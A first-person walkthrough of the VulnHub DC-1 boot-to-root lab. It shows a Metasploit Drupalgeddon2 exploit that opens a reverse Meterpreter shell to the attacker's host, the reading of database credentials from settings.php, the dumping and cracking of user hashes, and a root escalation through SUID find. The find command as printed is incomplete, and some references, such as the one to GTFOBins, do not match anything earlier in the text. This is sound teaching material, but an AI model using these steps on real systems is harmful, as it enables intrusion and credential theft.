Introduction

DC-1 is a popular boot-to-root virtual machine from VulnHub, designed for aspiring penetration testers. It's known for being beginner-friendly and is an excellent starting point for building hands-on hacking skills. The machine is designed to teach fundamentals, and the primary objective is to gain root-level access and find the final flag.

Step 1: Host Discovery

First, I needed to find the target's IP address on the network. I used arp-scan for this.

(root kali)-[/home/kali/DC-1]
-# arp-scan -l
...
192.168.100.43   08:00:27:8f:16:d3   PCS Systemtechnik GmbH

The target machine's IP was identified as 192.168.100.43.

Step 2: Service Enumeration

With the IP, I ran an Nmap scan to identify open ports and services.

(roots kali)-[/home/kali/DC-1]
 -# nmap 192.168.100.43 -T4 -sV -A
...
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 
80/tcp  open  http    Apache httpd 2.2.22 ((Debian)) 
|_http-title: Welcome to Drupal Site | Drupal Site
|_http-generator: Drupal 7 (http://drupal.org) 
111/tcp open  rpcbind 2-4 (RPC #100000)

The scan revealed three open ports:

The Drupal 7 CMS on port 80 is the most promising attack vector.

Step 3: Web Enumeration

I ran gobuster to brute-force directories but didn't find anything immediately interesting, even in robots.txt. This reinforced the idea that the vulnerability was likely in the Drupal application itself.

Step 4: Gaining a Foothold (Drupalgeddon2)

I knew that Drupal 7 has a well-known, critical remote code execution vulnerability called "Drupalgeddon2". I launched msfconsole to find an exploit.

msf6 > use exploit/unix/webapp/drupal_drupalgeddon2 
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.100.43 
RHOSTS => 192.168.100.43 
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run 

[*] Started reverse TCP handler on 192.168.100.18:4444 
...
[*] Meterpreter session 1 opened (192.168.100.18:4444 -> 192.168.100.43:35588) 
meterpreter> pwd 
/var/www

The exploit was successful, and I gained a shell on the server as the www-data user.

Step 5: Post-Exploitation & Flag 1

In the /var/www directory, I found flag1.txt.

www-data@DC-1:/var/www$ cat flag1.txt 
Every good CMS needs a config file and so do you.

This flag provided a clear hint: find the configuration file.

Step 6: Finding Credentials (Flag 2)

For Drupal, the config file is typically in sites/default/settings.php. Inside this file, I found flag2 and, more importantly, database credentials.

cat settings.php 
...
 * flag2 
 * Brute force and dictionary attacks aren't the 
 * only ways to gain access (and you WILL need access). 
 * What can you do with these credentials? 
...
 'database' => 'drupaldb', 
 'username' => 'dbuser', 
 'password' => 'Rock3t', 
 'host' => 'localhost', 
...

Step 7: Database Enumeration (Flag 3)

Using the credentials from settings.php, I logged into the local MySQL database.

www-data@DC-1:/var/www$ mysql -u dbuser -p drupaldb 
Enter password: Rock3t 
...
mysql> show tables; 
...
| users                                 | 
...
mysql> select * from users;

Dumping the users table revealed the usernames and password hashes for the Drupal site. I found hashes for admin and fred. After cracking the admin hash (password: DestinedDrupal) and logging into the Drupal admin panel, I found Flag 3.

Step 8: Finding Flag 4

The hint from Flag 2 suggested I needed access. Flag 3 was found via web access. Flag 4's hint pushed me to look deeper into the system.

www-data@DC-1:/var/www$ cd /home 
www-data@DC-1:/home$ ls 
flag4 
www-data@DC-1:/home$ cd flag4 
www-data@DC-1:/home/flag4$ cat flag4.txt 
Can you use this same method to find or access the flag in root? 
Probably. But perhaps it's not that easy.

This hint clearly pointed toward privilege escalation to find the final flag in the /root directory, which I confirmed was currently inaccessible.

Step 9: Privilege Escalation (Flag 5 / Root)

The final challenge was to get from www-data to root. This machine is famous for its SUID-based privilege escalation. As hinted by the mention of GTFOBins, the find command can be used to escalate privileges if it has the SUID bit set.

www-data@DC-1:/tmp$ find luffy -exec /bin/sh 
# whoami 
root

By leveraging the find command, I was able to execute /bin/sh as the root user.

Step 10: Capture the Final Flag

Now as root, I could navigate to the /root directory and read the final flag.

# cd /root 
# ls 
thefinalflag.txt 
# cat thefinalflag.txt 
Well done!! 
Hopefully you've enjoyed this and learned some new skills. 
...

With that, the machine was successfully completed.

← all walkthroughs